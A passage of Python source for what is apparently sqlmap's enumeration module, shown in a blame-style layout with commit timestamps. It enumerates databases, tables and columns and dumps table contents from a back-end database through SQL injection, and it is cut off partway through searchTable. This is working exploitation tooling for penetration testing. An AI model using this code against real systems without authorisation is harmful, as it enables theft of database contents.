2010-12-22 14:46:18 +03:00
if condition:
if conf.db and Backend.getIdentifiedDbms() != DBMS.SQLITE:
2010-12-22 14:46:18 +03:00
if "," in conf.db:
dbs = conf.db.split(",")
query += " WHERE "
2011-03-30 01:54:15 +04:00
query += " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in dbs)
2010-12-22 14:46:18 +03:00
else:
2011-03-30 01:54:15 +04:00
query += " WHERE %s='%s'" % (condition, unsafeSQLIdentificatorNaming(conf.db))
2010-12-22 14:46:18 +03:00
elif conf.excludeSysDbs:
2008-10-15 19:38:22 +04:00
query += " WHERE "
2011-03-30 01:54:15 +04:00
query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
2010-12-22 14:46:18 +03:00
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2011-02-19 21:36:26 +03:00
if Backend.getIdentifiedDbms() == DBMS.MSSQL:
2010-12-22 14:46:18 +03:00
query = safeStringFormat(query, conf.db)
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
2011-02-04 16:29:02 +03:00
value = filter(lambda x: x, value)
2008-10-15 19:38:22 +04:00
if value:
if Backend.getIdentifiedDbms() == DBMS.SQLITE:
if isinstance(value, basestring):
2010-11-02 14:59:24 +03:00
value = [[ DBMS.SQLITE, value ]]
elif isinstance(value, (list, tuple, set)):
newValue = []
for v in value:
2010-11-02 14:59:24 +03:00
newValue.append([ DBMS.SQLITE, v])
value = newValue
2008-10-15 19:38:22 +04:00
for db, table in value:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(table, True)
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedTables[db].append(table)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedTables and not conf.direct:
2008-10-15 19:38:22 +04:00
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
if Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE ):
plusOne = True
else:
plusOne = False
2010-05-30 18:53:13 +04:00
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
2010-11-03 01:11:45 +03:00
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
table = inject.getValue(query, inband=False, error=False)
kb.hintValue = table
2011-03-30 01:54:15 +04:00
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
2008-10-15 19:38:22 +04:00
if tables:
kb.data.cachedTables[db] = tables
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedTables
2008-10-15 19:38:22 +04:00
def getColumns(self, onlyColNames=False):
bruteForce = False
2010-12-30 11:29:20 +03:00
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
2010-12-30 11:29:20 +03:00
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
2011-03-30 01:54:15 +04:00
conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True)
conf.db = safeSQLIdentificatorNaming(conf.db)
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == conf.tbl:
resumeAvailable = True
break
if resumeAvailable:
columns = {}
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == conf.tbl:
columns[colName] = colType
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
2011-01-12 00:46:21 +03:00
return kb.data.cachedColumns
message = "do you want to use common columns existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
infoMsg = "fetching columns "
if conf.col:
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
conf.col = conf.col.upper()
colList = conf.col.split(",")
2011-03-30 01:54:15 +04:00
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + unsafeSQLIdentificatorNaming(col) + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-03-30 01:54:15 +04:00
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(conf.tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-03-30 01:54:15 +04:00
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(conf.tbl.upper())
query += condQuery
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.inband.query % (conf.db, conf.db,
2008-10-15 19:38:22 +04:00
conf.db, conf.db,
conf.db, conf.db,
2011-03-30 01:54:15 +04:00
conf.db, unsafeSQLIdentificatorNaming(conf.tbl))
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % conf.tbl
2008-10-15 19:38:22 +04:00
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.SQLITE:
parseSqliteTableSchema(value)
elif value:
2008-10-15 19:38:22 +04:00
table = {}
columns = {}
for columnData in value:
2011-03-30 01:54:15 +04:00
name = safeSQLIdentificatorNaming(columnData[0])
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
2008-10-15 19:38:22 +04:00
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns and not conf.direct:
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(conf.tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(conf.tbl.upper())
query += condQuery
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() in DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, \
2011-03-30 01:54:15 +04:00
unsafeSQLIdentificatorNaming(conf.tbl))
query += condQuery.replace("[DB]", conf.db)
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.count % (conf.tbl)
query += condQuery
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.blind.query % conf.tbl
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
2011-02-19 17:56:58 +03:00
return kb.data.cachedColumns
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(conf.tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(conf.tbl.upper())
query += condQuery
field = None
2011-02-19 03:36:47 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
query = rootQuery.blind.query % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
2011-03-30 01:54:15 +04:00
unsafeSQLIdentificatorNaming(conf.tbl))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (conf.tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if not onlyColNames:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(conf.tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(conf.tbl.upper()), column)
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
2008-10-15 19:38:22 +04:00
conf.db, column, conf.db,
2011-03-30 01:54:15 +04:00
conf.db, conf.db, unsafeSQLIdentificatorNaming(conf.tbl))
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query2 % (conf.tbl, column)
2008-10-15 19:38:22 +04:00
colType = inject.getValue(query, inband=False, error=False)
if Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
2011-03-30 01:54:15 +04:00
column = safeSQLIdentificatorNaming(column)
2008-10-15 19:38:22 +04:00
columns[column] = colType
else:
2011-03-30 01:54:15 +04:00
column = safeSQLIdentificatorNaming(column)
2008-10-15 19:38:22 +04:00
columns[column] = None
if columns:
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
2011-02-19 17:56:58 +03:00
def __pivotDumpTable(self, table, colList, count=None, blind=True):
2011-02-19 03:36:47 +03:00
lengths = {}
entries = {}
2011-02-19 17:56:58 +03:00
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
2011-02-19 03:36:47 +03:00
validColumnList = False
validPivotValue = False
2011-02-19 17:56:58 +03:00
if not count:
query = dumpNode.count % table
if blind:
count = inject.getValue(query, inband=False, error=False)
else:
count = inject.getValue(query, blind=False)
colList = sorted(colList, key=lambda x: len(x) if x else MAX_INT)
2011-02-19 12:40:41 +03:00
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
query = dumpNode.count2 % (column, table)
2011-02-19 12:40:41 +03:00
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
if isNumPosStrValue(value):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
validPivotValue = True
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
colList.remove(column)
colList.insert(0, column)
break
2011-02-19 03:36:47 +03:00
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise sqlmapNoneDataException, errMsg
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " all rows can't be retrieved."
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
2011-02-19 12:40:41 +03:00
for i in xrange(int(count)):
2011-02-19 03:36:47 +03:00
if breakRetrieval:
break
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if column == colList[0]:
# Correction for pivotValues with unrecognized chars
2011-02-19 12:36:57 +03:00
if pivotValue and '?' in pivotValue and pivotValue[0] != '?':
2011-02-19 03:36:47 +03:00
pivotValue = pivotValue.split('?')[0]
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
query = dumpNode.query % (column, table, column, pivotValue)
else:
query = dumpNode.query2 % (column, table, colList[0], pivotValue)
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
if column == colList[0]:
if not value:
breakRetrieval = True
break
else:
pivotValue = value
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
2011-02-19 12:36:57 +03:00
return entries, lengths
def dumpTable(self):
if conf.db and not conf.tbl:
return self.dumpAll()
if not conf.tbl and not conf.col:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
warnMsg = "missing table parameter. You only provided "
warnMsg += "column(s). sqlmap will search for all databases' "
warnMsg += "tables containing the provided column(s)"
logger.warn(warnMsg)
self.searchColumn()
return
if "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
2011-03-30 01:54:15 +04:00
conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
colList = conf.col.split(",")
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
elif not kb.data.cachedColumns:
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
if conf.col:
colList = conf.col.split(",")
elif kb.data.cachedColumns and conf.db in kb.data.cachedColumns and conf.tbl in kb.data.cachedColumns[conf.db]:
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
else:
errMsg = "missing column names, "
errMsg += "can't dump table"
raise sqlmapNoneDataException, errMsg
2010-12-18 01:23:01 +03:00
if colList in ([None], ['None']):
warnMsg = "unable to retrieve column names"
logger.warn(warnMsg)
return None
colString = ", ".join(column for column in colList)
infoMsg = "fetching"
if conf.col:
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
entriesCount = 0
2011-02-22 17:19:39 +03:00
if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]):
entries = []
2011-02-22 17:19:39 +03:00
if all([Backend.getIdentifiedDbms() == DBMS.MYSQL, isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.groupConcat]):
randStr, randStr2 = randomStr(), randomStr()
filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\
% ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2)
concats = ",".join(map(lambda x: "CONCAT(%s, '|')" % (filterFunction % x), colList[:-1]))
concats += ",%s" % (filterFunction % colList[-1])
query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, conf.tbl)
value = inject.getValue(query, blind=False)
if isinstance(value, basestring):
for line in value.split(CONCAT_ROW_DELIMITER):
row = line.split(CONCAT_VALUE_DELIMITER)
2011-02-22 17:51:42 +03:00
row = map(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row)
entries.append(row)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())))
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, conf.tbl)
entries, _ = self.__pivotDumpTable(table, colList, blind=False)
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
2011-02-19 21:04:27 +03:00
if not entries:
entries = inject.getValue(query, blind=False, dump=True)
if entries:
if isinstance(entries, basestring):
entries = [ entries ]
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = entry[index] if index < len(entry) else u''
2010-06-02 16:45:40 +04:00
colEntryLen = len(getUnicode(colEntry))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not kb.data.dumpedTable and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.count % (conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % conf.tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" % (conf.db, conf.tbl))
2011-02-21 01:07:12 +03:00
elif Backend.getIdentifiedDbms() == DBMS.MAXDB:
query = rootQuery.blind.count % ("%s" % conf.tbl)
else:
query = rootQuery.blind.count % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
lengths = {}
entries = {}
2011-01-01 15:41:51 +03:00
try:
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
2011-02-21 01:41:42 +03:00
if Backend.getIdentifiedDbms() == DBMS.ACCESS:
2011-02-19 03:36:47 +03:00
table = conf.tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = "%s.%s" % (conf.db, conf.tbl)
2011-02-21 01:41:42 +03:00
elif Backend.getIdentifiedDbms() == DBMS.MAXDB:
table = "%s.%s" % (conf.db, conf.tbl)
2011-02-19 17:56:58 +03:00
entries, lengths = self.__pivotDumpTable(table, colList, count, blind=True)
2011-01-01 15:41:51 +03:00
else:
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-02-19 12:36:57 +03:00
plusOne = True
else:
plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne)
2011-01-01 15:41:51 +03:00
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, conf.db,
conf.tbl, index)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, column,
conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())),
2011-01-01 15:41:51 +03:00
index)
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, conf.tbl, index)
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (index, column, conf.tbl)
value = inject.getValue(query, inband=False, error=False, dump=True)
2011-01-01 15:41:51 +03:00
lengths[column] = max(lengths[column], len(value) if value else 0)
2011-01-01 15:41:51 +03:00
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
for column, columnEntries in entries.items():
2011-01-07 20:53:17 +03:00
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = { "length": length,
"values": columnEntries }
entriesCount = len(columnEntries)
if kb.data.dumpedTable:
kb.data.dumpedTable["__infos__"] = { "count": entriesCount,
"table": conf.tbl,
"db": conf.db }
else:
warnMsg = "unable to retrieve the entries of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
attackDumpedTable()
return kb.data.dumpedTable
def dumpAll(self):
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if conf.db is None:
infoMsg = "sqlmap will dump entries of all databases' tables now"
logger.info(infoMsg)
else:
infoMsg = "you provided database '%s'. sqlmap will " % conf.db
infoMsg += "dump all entries of this database's tables only. "
logger.info(infoMsg)
conf.tbl = None
conf.col = None
kb.data.cachedDbs = []
kb.data.cachedTables = self.getTables()
2010-11-05 01:00:14 +03:00
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = { None : kb.data.cachedTables }
2010-11-05 01:00:14 +03:00
for db, tables in kb.data.cachedTables.items():
conf.db = db
2010-11-05 01:00:14 +03:00
for table in tables:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2010-11-05 01:00:14 +03:00
data = self.dumpTable()
2010-11-05 01:00:14 +03:00
if data:
conf.dumper.dbTableValues(data)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
conf.dumper.dbTableValues(data)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
2011-03-30 01:54:15 +04:00
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
2011-03-30 01:54:15 +04:00
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for value in values:
2011-03-30 01:54:15 +04:00
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
else:
infoMsg = "fetching number of databases"
if dbConsider == "1":
infoMsg += "s like"
2011-03-30 01:54:15 +04:00
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
2011-03-30 01:54:15 +04:00
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query += dbQuery
query += exclDbsQuery
query = agent.limitQuery(index, query, dbCond)
value = inject.getValue(query, inband=False, error=False)
2011-03-30 01:54:15 +04:00
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
return foundDbs
def searchTable(self):
bruteForce = False
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
